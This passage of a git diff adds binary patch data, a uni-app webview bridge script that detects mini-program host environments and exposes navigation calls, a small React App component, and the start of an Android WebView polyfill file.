z*)vd()g6)4XQyWAh%s=jlRf#>BS$=%BQ46E94g8A5heiVEx7gBU}HmKV&CaO;w-|5 zMnSJY@YX9?mA9~D?i?3T_5j;+omv7S-M+|!xtLpcpD|%s33Sp8(~BV?-XhG7PF&Fv zvT=#g8Eousf#lt3x~+f!Ry-z6lD$~!{1i|%m1JH1kKE`}i#ui_j|&oqj~b{(1fu>Xk!E*%DRg>~2`?$mxip{X>hvNXxE zl}-Ps?OrF1@!J}=MXLP|rr0XD-<4hx^0jP5LR%2oJZ-5_@*0H+cTVkjbJBJxREO`F@w5KbdXL?U@#&lbFgI) z8l0)zhlW=3$<=`hdt*2v?^ylCKkj>f;?u}F90F z4Q9OG;;oyXy=4Gy{yrY*)gDUQDNSdqFf_>UOtI@`dS;F~GlMh)okrl+e!0w1o1k5| z6ri02G=D3p;;Cv)g-%9Js>mw~i)j?90#`0XjSz86W`k#LjagRJ7#T*hO#jCm4a}Ct z6TsJPpr8C!KZMq4*0*9}eScgR>LK`t=1MT@E7ox@FHcXCz~wGI(}4Zu6w_v(T~Pm} zOibueQ&SHPDkey)mBhqc;ubc?9_~NICQ48J*>x3eN|)|umGp%`q)3Oi%&hG4Bs{hJ z=+xfcOiWMLAGPIQf{8mH)nuHhdMce6yo6{?wbTf8cMm@2KvtoRSKZ&Y98B|Nl<-NX zh&7of{x#MCUYzoZiZK0%cnxlL#ZbN}5&phM&=qzjU@cMj*IJ?hXl@O3To^>ZYWoLt z>lx>RS6m~px88Sjob~rNhJ}4hRjd}(zj+I^c?Pqe9hwH71#8?m9m z^)1`3S2+@aL8h8qacV==jvplAJ1XkNbV6CTZ+r1VI3)Ceep|163Al0ZTw>1K9~Ny( ztja(H|5^;vm23r&3Vxmfy@Xo9Dj;CLAjO0@ zgEMUiJSDasiJO)q5KW`2?oy}%U{!wTYK3_CRNuozrj42DQ`D6iz&|GN{b1_tN!nZ4}v7`|38C8sGs@B+7>-Ml@c~qM#NP3SWpu18>i<{ zteqxsYupeYK%j7*Bkn8Fu*v-1A1^_vXmej1vvYR)!IkvgpU%H0w7=nr^0%en3fEL~ znB(T-$Li1*`d{pBrf5Y7fxZEb53e!pgKnBQMP)^dI-jt+s(kv${s5Y5UPD60>Fhcs z#U}18f9v1FYi?+C;0&<5zCjFo9T!mv#>~1jwhYR#b6uS2naHsvK3z+Qi&0e@wPUMFZj_@{rf00h2(dCH1_O*c@$Z}bz1zD2j5f8wIn5iR&BqGk*XUk@Xy z_}6_uX*~&tC0j;;jy2`Tv@5fVA){g~u(`oZH>@Ads3p=yqPE1RMuCAhL32m@3R`5% zE(Fmvv(I!{Jpoi=>jE>V?_|zI;tGp0VC@MH5$`A`kyd}tAnW^EgwCH_c$Xjw_jw|>Z9_SbU^fW@E z0|#@4HN-(x%krNPt?eE|u9#@EaBAb@P*A>6=EZ)V@JO3pt;gV#!TORqV&xjECn|#R zrA|&b;9*fQ=D3+#Q#qzSHgMksC3!;@49#3c!oRiRkY1k$rxe+4dY}}U_Q?{<6p zPpaicp46yo!b0v|6O>)<2>^c4zG&?$%n2;m!WSf;J=0iSNmWqk!U{Q}DUgn0ZM~10 z6fE?UG13_V$h}dVEMct%tV{4ea;=yEHChScNrBEp9@lL(Vfr}bp!x2#pTl}{7;mx9 z&2{Z52_-vjSK|`8%6;xEgv4cxfu4pNBEi$5!{%(P$R&$6&4S4p_o6 zil9%s#&WX9cYcH#isydqe{nDUBdJ-&Xq|#vb9aHRZR+6}NK(hBM7jKM4h&e&19v=h zj)TreQ#*Z_-`@|J#$mM#N0Z+Gc466;W@{Bg&7cP z+c$*KB5F@ymQ-2AeJ}4=vC8Dr52-48MIzD-ed;Rv7+!%z<{OFNuH+oglvFhD^e6G@ z0hv8=R1%;l30!7^3qzpBkg)r1MlL_0$eb3!N2>bzGjX z91gLCqBBE_`UC@m$t*WvOro~%K@@9bRyQ9PUEl8H^2(%-+8p4Oq-_( z4nGC!XpzTfgupE{JLxwL4{*l({A*}1UI)n_%niW;8dAR;EW7)To&OuHh1@OQ3p7Y` zxfhTYlMwU%y6|owto&f=HnwLVR)GnSr;GvR$~gBkxs749oUwx(&ma!Zh3kYlr}KEi zX!5z$Mx1F-B42ne{Sq@I??50==iaK-ITx{Ja$i$k%g*hdIZREOw_30ofdQ@bc9FT0 z)6>4&T}-Av`(1o`<;{l+l(SA=9v%e`uaAuIJE9t-Hq`90EgZNdKd>Oj;#ny#ejDUt z=bL`>Cf#h)WzP6lVo7*!K1Dar#VF2Qf|X`L?;^o&=ZTurl8Njh>Y-2tC&YvF!w(<4 ziyh7uR>M@RH*T_zd)#ea-}g1lC_$RwlTw_PF!uK7$Lw|%%GZ-*+;mhdxKL`+|Js1w zfpi1_$GhCmqj`&cKKnLS&uXx1~J!q+dp~lq3ALz8h<5WB1mw7!iOwOVk>DroR%W3(dO3 z{G_Z=f=yi>k4rY?rxHX>|M7i>{#6YD6j(C677(t|vVc7Dd(kb_Em7V}-u=5at#9xJ zw|E3aj4|GHLWx)NWb&-NgZ6oOU08APdSf|-Bc|MW50K>Lrmeo`czJdJcmo^!--5;x zHP`Aih*v{zme?KWT`FpM`EP1G%UCKdW%=|xC}p+w%OQBxO3Wik&8m0P7wg-cZ<-BW zOJ?j8j5VznEWD#Olh_O2+TVnWssuLcm zA~H*Ntbqe4Np-D6Fi|uOQCY4 zDFNBTUwIwD(>l`0`We(R$`K=`hOXV{Ua`Z}stG$_#(^RD#XIbA$5}RFML9Y% z0fF!>nN=^^C9*j0`67qPqCvOt{{9$vuy#;rl3O8S&4OAGNL}(!3PrC+2<=$@8fW)(So zh8gGhFqQ;{p3F|_Phr8Tlhf`^rwV3Vb#Yu{@hjZGXwxd^+deHVX%pc%Lg!^U{U-*7 z^5>x?HS|B9f~^#7+~Tc}D8v`Zh#1qg_g=?~6lZc^;)cw;Le>kL}!TJqqo%@&?$Tb3UP*162g(umV{+A5DwDg9#A(eCI~pS*!`ZJaVwvUPQTSJfqRf z0&=Iow(E|IdS(RT4LANnuT{1H_mj230N1sLUKZDjr>+683dF{Ld&mHV+SXRI>JMs< z2u%l>^~SK&a4BV;Xr*KA2uwd?&+OY|`8lFm7wuSp8fOl*51^ zv>ZzVG(kCO=!nh3DJ|+p^76ZO!bl-5@@~~XLVi)kShL69!^-x2?SZQ5xCtAP0y^y7 z8qw+zKXpr$Vn+;fo?D5}&KIDX!E8no-)icj{ESzjEG+gc86}cn&ZLo{KDe#3yb-x* z0N%5z_{eM#I?_3JzfsntJr_5o%i^?9bH*&7Px&Y|T(fJ(Re5TnLoWMEVUE{JpMBT&GpJX{ z@cEM{Ydx7G0&nvjaZ#td@`GtRf$mg$(>jxVl7CHdK0mF=-}7`TODBUwoSw9)MlHt? zqhDqC5Q{-8F_=sYx`{WkqCs%V%DRCM&?M$QbUhGnY=R5&Myv4XXJ~1O0>7lL{NN7D z6Lq$7HDgIJp-f-8a3R7kNfX@s^$Z!^h@+5*msbnYrt0tds_@JWGj;T3>PaR>2-P@B zuPxEN)p{NO0Isve66f$`PRV4wo%BW5!3 zp6`xk0Z14;Zn45ZUD-QVSIA`O$h(h#48j<-5|dM$zzo`t+ka)ztedtH=7$3hs!dPU z4eOkcq`r+~poUJ)v3yBv_mavoDKdBz(I0Q0J}IJBQ(1^u5aDJ(Nj@5&{r=S!Nhp8# z;_AZtw38G`@V1WOsA8Jzvx0c{?%h2IkAm>4aZo~3RVNTUpGZPg zEMQ>t9mUP+Xz@Y*epO*Nw}k6ujZVAqY1W(&EzjxZsgveGez}*AcX=b#A0zvr{6dQB z4q;($unEla$cfRTvv;kxsR##bdjw#tXi1aAso+dovA`!i3)l#7(9+VzCzp+u!<=1@r)s~xAy2D)$3`Sub5(l0iUatY>7yE8FmNZDpLMs!TspaW%t_?bg`-8 zz$1+bM3v-8_wqCudb^j5$=}4PASMG&Zq`) zuOfS3pU)7NsQ9!4Q_G-?xD(M_ptbd_W7A6eg;1x zT))pFD>i_!;GH&N8V{Ct(sk|KST_2U<{KBDn<_Vk`6|ntN%j zuYJsm;>3(J*R`MIA&s_72~%V*HXJT4tVS)C3>yZ;QR;v} z0UQvndDZnCQQ$$DoY~iq{gURR=9V(-1Q*Nn_78Hg(%8|leY|`HD~t(8q?h)oeec;2 zm(MC*`zjE~Uqr`o31<{F;%Dm7uU>@S@N`p(ru|-E4_fN|;&C4(Cx3f30qQ&=yg94= zpX5Ak^=0@? zlPRC=0w&M8^SXKn41REM4iD>mxbfGx->&I>UXWVfu>C)*@6y7|?92GgQQEfiDWAc{ z&!OgipFrka6Vak8T#kHRc((K5`Ux7Fq&hj$fFFS^U~4|qYjZ}Dc~AQ%C#c~+XsC5UK4 zzR0jH5u`W#TUI`z;id(vu_~PF0~jt|pV0SBQ#Ncc&9(pO!S&OGWPvsbOwd^oXeB8Y z4j<7mE6RD!o4tMX_)Ds!E{BltM;+isn~b)#?RtNj*(3)8TEbK!m*wfLyc=xyXO)v) zWFOdyaZ60+eV5O#CAfV^!@2iYh9b(#_Fb=Q(JQEnx&~EFV+IEXss`^$0MWPs!K(um zk;_zjo)WC&m+(C%aeC&Rbiq$NJJ>V>n-m%Px(QH3yV;N04aM!R2n0wT=f#}&Za1*< z1IAInxY4~>TZ&G31bFE{iw;wB7%TM^A8uuSaO?*E>)5${3t2N3WfOhEw0oGMn0)?n zyJ;+um4#G}@55%FtPRD&_s=!gjXJQ>3JLm>juS8h{7lo_&thfGf`=tejL*I6b95s5 zN=13wbvmDWd8iHIlm^>_5x4002-XJ;#}9%BIi>-#p3aF?SWeq+V!UQ;Xi=>>Xb}*L5Uml z!=KtTAfytM|JI9AQ|VKT)4;}!OHLSWm^8ZEdU<()y>$Z><<5?d#(;DOKLRCPQZn687^`EXmVy<1+ROD!zJb^DUE>GSfB`b`0ZYA21CNN&B`E@?SnMX_GsJzR z2jOXNZjNmmSz4%BR`w0cXReE<+bewm5Yf!`zsSQP^S8d4(lIAaNE=!s;*MH2_hK0; zlS7M1MsG?u(Qz;;jNR>%h|lLlMW)GkbJDQy$(#r{;Pz;+$E;@b3J)M$Xm#cVok8jCCjxEE zLnUr&WF0%zvUFzj)>LFy1+%{fj7%}8-!{uMg2xrno2jx9-T+ewJaB;QKK&g)q=yeC zKk586pj_}X-{HBuQDp@J;-sbjpb&BAIZvKX!Kf94N0`sw!&PpGzd&LtXU5p_8;J*j z*lj?E0D?>dgl{^!0n>sk2gIjB1OoJ90-R_+Q32?iNO5QEMwE#-zx!=?DJK6jTqiTqWy+Dxqy z1cwAZz=TJi57Kbg+vHJwhm5igP?guLYTRyKpPifYk`0%q<56h^j7yWBkG=i6#@X)y z0Ng;HTZj~B@jmMJ&BpRPkW3dCY*9pC`zNO5Ry=D?5Z_%x(45ZypK?;d^b+&%w<12sw_|Bx@b#Kfa6@W)p z$U{YcswGgodvUe=p;BIDpWj5j@x(nltf$%b#+qpt*-&pRxErw6D=jXrK()=JGo zKkpTT4p5b-Vgzj1?cBPQ{r11P3cO{u)~DW|Pt)M_s}m#5ud3^I-%C`lSX~y13%+=? zv^i^7C+ojnRu>3T7V`7}0|0SzfOUPVxcA;~&DJ^bq^jS#P=@D9S-UMifAKdYa++#x zf`Ft3Rm;;f6B5>xOFNaT3qt9o`00J1&1d%DX1pyrQ>&aqLx)bQp4E}xiz;eWTfs{D zTFxh`h{>5rlqg^{D6`wX|FxWXA?oAb{kMUeTCJB!U*s+NPu`%ct_gg^|FtV5?cGj& z(2|udhcJUo56m$>57+(W!u`8*22Q^ng}LTGxH;j?vk!*2kWENE+)PI(!7bPxkF-e_ zS+4ap?H+10mL)wXO!P(a7X0ikEMG6Y9q|&hzH3rZJ2NSatb3f(*>jTt`(t{*uvh>z z^WlKAB!Fyd+4{BQITh&`psVyg!*gmzTI_+<27KGDj=jT`rO>U3?@^={y*{w z#YEmMykQHPRB)^@w2U`+sJdk3yfs`gb94W z)>%)T^IYKG?{{w|V2@R_u5l!0sTW~3lHdBgGvm0lkChZB*5}LWfjFwElckJa{53%P z+)<51ss0j&hs6WR+Pff{r;x^WNs`QJ>VyGvzrye3G{8VYcqz;I>Ce zvg?S74~ID#W=!>~SWlD5h$h@FkdiG-Oy{Cts0pJl5Qtbf*r4gJ`r}^WRM*tlSXEtJ z4TOq@hNC2b)@ESm{!R(Fqt+I;Vk7-HT6yT2V#I~vncd2YDZ)sBXmybes|0Xzi#--h>D}%I{j9@?t6AsaWW?v7xjv zS$eSXZm9yDq@+R1g_zR_{k`1>?DXfyoctfFN2UNkT~lakK}DKR0@O_V*kf9&nZ!4< zaS_p0JYvcZyyZ5D_M`H}p`)vP{|EpY>30W>6MSnV6yHiZD>JOyoDJ9u&N+ES`Z_f? zhbJ7v82y(c!I+xouWuBt8LcAqhUUZAx#U(W=YLA$6kR^j0NPmxmPsWDvkd>3M4=@8 zP^R+2A}}r~6t}&RP#CkOHv^swB`%k$qXDKz`t)Y}rInvxBgr_iZIk`1)mfz>Tte7V z2LLxYwFKo6?M_6C#N8~(JhFZ`IyQu$EvzJ%=yWdPOt?iND ziL=$eH}mQLe={{1jWt_rejOjuE{y0~?KC+P*&L47kn9CyJ_+gk(FVeufXmI`RKG(_ zaX0LZT{<&VCo=awD)Iwxm%aDJ89#tDn0sS-=U;;^6w<+Y+xd6}=yS>fyifZvI9y;= zL{h|t1lP)yVicPR*reRPcmcf%1Y^V1j!hrk^)A|)~UTf1@;%wRmo8=cDe{J_Bj4eZEjCJ!Q}fa%FCvr-$M z+zWXOaaB7!1*u?)WMUy&NOb#I9maU>4H!NPWUgj+pWXhXSL-ZDU?p&GGMJ1rtO zHcAM&PA7jgv@7=R-}0f*Qc2E~a^Y2rpK<(r)q>aYJ^^0@3Iw?ZKhk3C=E)iux9oE~ zuEZYTj!QTuY|cqevSR~(psp};e8~Nh>9&>?mfD#2OkpI9DK4)#mN23Q|?Cb&R-}$q46?F(?c4C1@*@t&a zPaPm!TH&cL(VTQV*NY%rLWQYXipXLV<$}_c zql4y|vd^sVO5Wj2Ee@k1cF=y$R}Nl|*+D5kmHwzBA`FH$S+M%z1Ag@F$XGdds0aR# zc^aSArBjqBKdmghk!YdP$B(c}+HKm7x2n;9Vk;lt2>Mng_RZ>Zw0I-_PkYxL)l|0i zanx}}m_!srKw*eV01*@r2qid3uPOo}y$Di5F%$^_9LvxYg&;MNH_{^=34|grbd>M_ zA<{x8K!kuGF+=e?3GaJrzV)rQ*85}DdcL*h{Bd*d&AQ1s`|iEZKD+$RWdU7%$V-si zwBY08^TBSo1_L5}FH=CFI*8-u0C(}5lq!(jG&mS0v9IEoYax+ce;U~L$TM6fr7ypL zN@<~ld>Sze_Umg)E_f&cVIVylEaW~2_N7-MJaZW7%F_RIe{+)qRJzHGTxYOo4QP5( zEpw}8yo9x}A%;|a4{}Mz82~z@#;o2r1^p#HDUqeiUvpFNUWwk%4*o|JPM#KdEkb}w=WI!ZHinC&rJ8=jN5|*5DM|tlqu26BrG9}M z?g~#xngO%5(b1n>O6TuT9Fcg(n5k{{wd9sS)!MxXP#iR>ipiC6uZsx3-6ao)Sq{aV zC%HI9@2(7_#Hl8&sH;h5TC2c? zoEbYC0bQ^oA4t7rjVM#E=MzI(tE=>T7XpFlnwU0gHA(Jsd77cvbIoGrq{eZGrDZGq zlwR92VamfHtjpBO%F26fIzC$Utos}O_$RE)QmOaX14}064jePBxaC#OK8kAa@1M9riC)KzcU@_@g|`}U0vNNFVVi}n;;b(1XuwO(ULmIyDhkaW(8v^%0R*N$%+Pp> zIkJGW<_8;|MQ-&Hz=sz0j{oL{{(;T=n=Gc*ozjM?st|vGYrq2GI6n`t5%@QcG*AiX z9O7I|9v(eCn}ha!I_%o7o^uM6OoL#y`{MU?L`YP3XY4@)KaWXrRriNOUvOH+azy-f zfpgixKQUt!tpL1X)q62VQ=CcIjkm8e5{Yw-uFB1+Ge_N(JA=R~sQ(qJwt}2~wX0J2 zys~u8CDXkN3R2KDoekh+<6-jx9Gd<6ze$D=JRIcTe8eSm0G>nhOMV1VWb*ipsW z%F3boHlQ*nWo*;)L)lwd=~)U$X4S;@7Q;KyfkACiMV>7tbwc7gZtv!G$Ett4Lb7GG&QZH_| z4QcNa*5_w`e(OBOjuXN{Q2krdc@&WcvcnP1)2TwQ)5uu%$6Mdz zFLjUVsXw?ZkPgSBzcat3an-n2=_(b}rJgxs4@$uXdOfh9n0;_g)oVS|2J-6Eql5PG z`;;Y(rNqL- z9BkNCmXmw&io)|-UJB7-S;vJl#d|IaX1$WU|FZ_>-6)_d1rDbA2Edenm>}e-l99V0 z4uL`-8!RY`#epfa$cx%E9U)Cux5gRl&?%HzfWnZ+r|i4XYcuwCbIv{A%btq!Py<<^ z^`84LIVi%_;*i#DBz!Hl_jl)=#Y7hU6n!pJEAHN7qvkT^Tn6&iG9)p>)qGGoP6`)1 znw2|hr~`qrIKg^q5FsyuvjJa;-3hfY)au*y~+zm0eO>Dk2G_D2aD1hly$XKTpK{unifkxli0X*6Sjx^d& z4dV?VOotH?(Ee?UHNLiCcU18j1%~{;5a;w}aR&&2zs+A0ZI?MG$>`CvBiwdf{;0d> z5^62X9@OLmXod~{zY(*7heFF`;jliX?o%(GUcsLvVoF2C5%l}K5&{pQ5)ZWTXm#~0 zwHRQrcXtmI6%`Q(1mK)6`s83~3Giw`C3R4xosFZc$74TU=qBL40nb>dEJA9U`0C2HSphTotldp)UNX(VR8xSan z@`!U|y(=sJsyz@fM}h)7%vj0N7$B2r4m0Q z_L&jm185c@7yL$)t15iKx?kxS-|dNnhJkp-w~Lr-xZ$-zOSw6;6dYDh0~WYZiEZ*Mg#wn>XU>3~PC#zE z8o|uwTV{Bb+G^k8Tk5KVNyCjhqY2dZ23zyNOK*o-VosZZ()hZk=#8~iW3k#VV2GJ& zJ8B%k<2lZMuOt7H_Bmd5xr!p0bOtv0f=9Rc^#@OZZL`04SGkK=9@SKv>= zW*Ro!;!nb0DA6Dx1% zlIX}`xzBg=?&JPE#^(d-b*t8alV-dsK?C>4xCtc^-yq8eEHCe-N!Kb8sQaw&IC$&G`Dp z2ddA`j(l*N_d)Zu)$rgGA%mGvp{?!jfCCY6&51K$p7>OgA*F?1G{xqH)QxoB7RtUM zk8~0=6f%Tuv`E{XS+WOZj_yCqiwTogs)fp^g^o%NlHoeVQ!9)1PEuf46BYU#IyP`Z>B ztTaV^j*ql-lyyucb+)-x4$UgEE(G94Z<0>7_HN@fC0n=JH6QDSOS=<@a;N=Fbz00C zc7#=+K)mss&s&epYli)7o5VXK{5<|ba%x3=T1@tg4pBmZsI5vSwC)!)XJO-u)Sr9f=L8Yk zQFAzXsw>kQ{hT@Nuo|ilCsb>O8^}lOd@Hmh`121S+^F!+H$b@Jd006$#vpy^#;-)Q zc3ePdfRDPq^&y1rMFkJI8Tr?tPaetQj5KHE-+RJ@t$mM^`wKR}Pw<%kAjruI%_PS~ z?B6aY&s(o&4(Mt{KChzkg4>OrtDao02IoAoCpc2P+e&wnintezecU3q-7k!}`F6YK z|H%igC~g+AI9)fl{Jk(_qN?SBiqM;Kf*)QB+-uZrbzIx+BM8_ma052n%ey(3IBDR! zEg8azMDDihYTWshd-0!qAU=J_qaH9XPb0#}!!FYs!-KU-UZM|_FM*qPXsgt(uE+lt z5wqMkY?vG@=M_F<^UzH@+&*wVG1QWGf=h95`05$%k1_zq4ytoHZYR4?LHpU2Qln+p z%pH--L_bHYxb16UsekJQ9YHdciL`CyYy}|wAiSIbsG`sDqRC9mi zy01j@{?#Rp8(_EniH!LdS^pyIe~{ 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = e.url; + r("navigateTo", { url: encodeURI(n) }); + }, + navigateBack: function () { + var e = + arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = e.delta; + r("navigateBack", { delta: parseInt(n) || 1 }); + }, + switchTab: function () { + var e = + arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = e.url; + r("switchTab", { url: encodeURI(n) }); + }, + reLaunch: function () { + var e = + arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = e.url; + r("reLaunch", { url: encodeURI(n) }); + }, + redirectTo: function () { + var e = + arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = e.url; + r("redirectTo", { url: encodeURI(n) }); + }, + getEnv: function (e) { + a() + ? e({ uvue: !0 }) + : o() + ? e({ nvue: !0 }) + : window.plus + ? e({ plus: !0 }) + : e({ h5: !0 }); + }, + postMessage: function () { + var e = + arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + r("postMessage", e.data || {}); + }, + }, + s = /uni-app/i.test(navigator.userAgent), + w = /Html5Plus/i.test(navigator.userAgent), + u = /complete|loaded|interactive/; + var g = + window.my && + navigator.userAgent.indexOf( + ["t", "n", "e", "i", "l", "C", "y", "a", "p", "i", "l", "A"] + .reverse() + .join(""), + ) > -1; + var v = + window.swan && window.swan.webView && /swan/i.test(navigator.userAgent); + var c = + window.qq && + window.qq.miniProgram && + /QQ/i.test(navigator.userAgent) && + /miniProgram/i.test(navigator.userAgent); + var p = + window.tt && + window.tt.miniProgram && + /toutiaomicroapp/i.test(navigator.userAgent); + var _ = + window.wx && + window.wx.miniProgram && + /micromessenger/i.test(navigator.userAgent) && + /miniProgram/i.test(navigator.userAgent); + var m = window.qa && /quickapp/i.test(navigator.userAgent); + var f = + window.ks && + window.ks.miniProgram && + /micromessenger/i.test(navigator.userAgent) && + /miniProgram/i.test(navigator.userAgent); + var l = + window.tt && + window.tt.miniProgram && + /Lark|Feishu/i.test(navigator.userAgent); + var E = + window.jd && window.jd.miniProgram && /jdmp/i.test(navigator.userAgent); + var x = + window.xhs && + window.xhs.miniProgram && + /xhsminiapp/i.test(navigator.userAgent); + for ( + var S, + h = function () { + ((window.UniAppJSBridge = !0), + document.dispatchEvent( + new CustomEvent("UniAppJSBridgeReady", { + bubbles: !0, + cancelable: !0, + }), + )); + }, + y = [ + function (e) { + if (s || w) + return ( + window.__uniapp_x_postMessage || + window.__uniapp_x_ || + window.__dcloud_weex_postMessage || + window.__dcloud_weex_ + ? document.addEventListener("DOMContentLoaded", e) + : window.plus && u.test(document.readyState) + ? setTimeout(e, 0) + : document.addEventListener("plusready", e), + d + ); + }, + function (e) { + if (_) + return ( + window.WeixinJSBridge && window.WeixinJSBridge.invoke + ? setTimeout(e, 0) + : document.addEventListener("WeixinJSBridgeReady", e), + window.wx.miniProgram + ); + }, + function (e) { + if (c) + return ( + window.QQJSBridge && window.QQJSBridge.invoke + ? setTimeout(e, 0) + : document.addEventListener("QQJSBridgeReady", e), + window.qq.miniProgram + ); + }, + function (e) { + if (g) { + document.addEventListener("DOMContentLoaded", e); + var n = window.my; + return { + navigateTo: n.navigateTo, + navigateBack: n.navigateBack, + switchTab: n.switchTab, + reLaunch: n.reLaunch, + redirectTo: n.redirectTo, + postMessage: n.postMessage, + getEnv: n.getEnv, + }; + } + }, + function (e) { + if (v) + return ( + document.addEventListener("DOMContentLoaded", e), + window.swan.webView + ); + }, + function (e) { + if (p) + return ( + document.addEventListener("DOMContentLoaded", e), + window.tt.miniProgram + ); + }, + function (e) { + if (m) { + window.QaJSBridge && window.QaJSBridge.invoke + ? setTimeout(e, 0) + : document.addEventListener("QaJSBridgeReady", e); + var n = window.qa; + return { + navigateTo: n.navigateTo, + navigateBack: n.navigateBack, + switchTab: n.switchTab, + reLaunch: n.reLaunch, + redirectTo: n.redirectTo, + postMessage: n.postMessage, + getEnv: n.getEnv, + }; + } + }, + function (e) { + if (f) + return ( + window.WeixinJSBridge && window.WeixinJSBridge.invoke + ? setTimeout(e, 0) + : document.addEventListener("WeixinJSBridgeReady", e), + window.ks.miniProgram + ); + }, + function (e) { + if (l) + return ( + document.addEventListener("DOMContentLoaded", e), + window.tt.miniProgram + ); + }, + function (e) { + if (E) + return ( + window.JDJSBridgeReady && window.JDJSBridgeReady.invoke + ? setTimeout(e, 0) + : document.addEventListener("JDJSBridgeReady", e), + window.jd.miniProgram + ); + }, + function (e) { + if (x) return window.xhs.miniProgram; + }, + function (e) { + return (document.addEventListener("DOMContentLoaded", e), d); + }, + ], + M = 0; + M < y.length && !(S = y[M](h)); + M++ + ); + S || (S = {}); + var P = "undefined" != typeof uni ? uni : {}; + if (!P.navigateTo) for (var b in S) i(S, b) && (P[b] = S[b]); + return ((P.webView = S), P); +}); diff --git a/Cunkebao/src/App.tsx b/Cunkebao/src/App.tsx new file mode 100644 index 00000000..01bf3208 --- /dev/null +++ b/Cunkebao/src/App.tsx @@ -0,0 +1,14 @@ +import React from "react"; +import AppRouter from "@/router"; +import UpdateNotification from "@/components/UpdateNotification"; + +function App() { + return ( + <> + + + + ); +} + +export default App; diff --git a/Cunkebao/src/android-polyfills.ts b/Cunkebao/src/android-polyfills.ts new file mode 100644 index 00000000..583fd397 --- /dev/null +++ b/Cunkebao/src/android-polyfills.ts @@ -0,0 +1,352 @@ +// Android 专用 polyfill - 解决Android 7等低版本系统的兼容性问题 + +// 检测是否为Android设备 +const isAndroid = () => { + return /Android/i.test(navigator.userAgent); +}; + +// 检测Android版本 +const getAndroidVersion = () => { + const match = navigator.userAgent.match(/Android\s+(\d+)/); + return match ? parseInt(match[1]) : 0; +}; + +// 检测是否为低版本Android +const isLowVersionAndroid = () => { + const version = getAndroidVersion(); + return version <= 7; // Android 7及以下版本 +}; + +// 只在Android设备上执行polyfill +if (isAndroid() && isLowVersionAndroid()) { + console.log("检测到低版本Android系统,启用兼容性polyfill"); + + // 修复Array.prototype.includes在Android WebView中的问题 + if (!Array.prototype.includes) { + Array.prototype.includes = function (searchElement, fromIndex) { + if (this == null) { + throw new TypeError('"this" is null or not defined'); + } + var o = Object(this); + var len = o.length >>> 0; + if (len === 0) { + return false; + } + var n = fromIndex | 0; + var k = Math.max(n >= 0 ? n : len + n, 0); + while (k < len) { + if (o[k] === searchElement) { + return true; + } + k++; + } + return false; + }; + } + + // 修复String.prototype.includes在Android WebView中的问题 + if (!String.prototype.includes) { + String.prototype.includes = function (search, start) { + if (typeof start !== "number") { + start = 0; + } + if (start + search.length > this.length) { + return false; + } else { + return this.indexOf(search, start) !== -1; + } + }; + } + + // 修复String.prototype.startsWith在Android WebView中的问题 + if (!String.prototype.startsWith) { + String.prototype.startsWith = function (searchString, position) { + position = position || 0; + return this.substr(position, searchString.length) === searchString; + }; + } + + // 修复String.prototype.endsWith在Android WebView中的问题 + if (!String.prototype.endsWith) { + String.prototype.endsWith = function (searchString, length) { + if (length === undefined || length > this.length) { + length = this.length; + } + return ( + this.substring(length - searchString.length, length) === searchString + ); + }; + } + + // 修复Array.prototype.find在Android WebView中的问题 + if (!Array.prototype.find) { + Array.prototype.find = function (predicate) { + if (this == null) { + throw new TypeError("Array.prototype.find called on null or undefined"); + } + if (typeof predicate !== "function") { + throw new TypeError("predicate must be a function"); + } + var list = Object(this); + var length = parseInt(list.length) || 0; + var thisArg = arguments[1]; + for (var i = 0; i < length; i++) { + var element = list[i]; + if (predicate.call(thisArg, element, i, list)) { + return element; + } + } + return undefined; + }; + } + + // 修复Array.prototype.findIndex在Android WebView中的问题 + if (!Array.prototype.findIndex) { + Array.prototype.findIndex = function (predicate) { + if (this == null) { + throw new TypeError( + "Array.prototype.findIndex called on null or undefined", + ); + } + if (typeof predicate !== "function") { + throw new TypeError("predicate must be a function"); + } + var list = Object(this); + var length = parseInt(list.length) || 0; + var thisArg = arguments[1]; + for (var i = 0; i < length; i++) { + var element = list[i]; + if (predicate.call(thisArg, element, i, list)) { + return i; + } + } + return -1; + }; + } + + // 修复Object.assign在Android WebView中的问题 + if (typeof Object.assign !== "function") { + Object.assign = function (target) { + if (target == null) { + throw new TypeError("Cannot convert undefined or null to object"); + } + var to = Object(target); + for (var index = 1; index < arguments.length; index++) { + var nextSource = arguments[index]; + if (nextSource != null) { + for (var nextKey in nextSource) { + if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { + to[nextKey] = nextSource[nextKey]; + } + } + } + } + return to; + }; + } + + // 修复Array.from在Android WebView中的问题 + if (!Array.from) { + Array.from = (function () { + var toStr = Object.prototype.toString; + var isCallable = function (fn) { + return ( + typeof fn === "function" || toStr.call(fn) === "[object Function]" + ); + }; + var toInteger = function (value) { + var number = Number(value); + if (isNaN(number)) { + return 0; + } + if (number === 0 || !isFinite(number)) { + return number; + } + return (number > 0 ? 1 : -1) * Math.floor(Math.abs(number)); + }; + var maxSafeInteger = Math.pow(2, 53) - 1; + var toLength = function (value) { + var len = toInteger(value); + return Math.min(Math.max(len, 0), maxSafeInteger); + }; + return function from(arrayLike) { + var C = this; + var items = Object(arrayLike); + if (arrayLike == null) { + throw new TypeError( + "Array.from requires an array-like object - not null or undefined", + ); + } + var mapFunction = arguments.length > 1 ? arguments[1] : void undefined; + var T; + if (typeof mapFunction !== "undefined") { + if (typeof mapFunction !== "function") { + throw new TypeError( + "Array.from: when provided, the second argument must be a function", + ); + } + if (arguments.length > 2) { + T = arguments[2]; + } + } + var len = toLength(items.length); + var A = isCallable(C) ? Object(new C(len)) : new Array(len); + var k = 0; + var kValue; + while (k < len) { + kValue = items[k]; + if (mapFunction) { + A[k] = + typeof T === "undefined" + ? mapFunction(kValue, k) + : mapFunction.call(T, kValue, k); + } else { + A[k] = kValue; + } + k += 1; + } + A.length = len; + return A; + }; + })(); + } + + // 修复requestAnimationFrame在Android WebView中的问题 + if (!window.requestAnimationFrame) { + window.requestAnimationFrame = function (callback) { + return setTimeout(function () { + callback(Date.now()); + }, 1000 / 60); + }; + } + + if (!window.cancelAnimationFrame) { + window.cancelAnimationFrame = function (id) { + clearTimeout(id); + }; + } + + // 修复IntersectionObserver在Android WebView中的问题 + if (!window.IntersectionObserver) { + window.IntersectionObserver 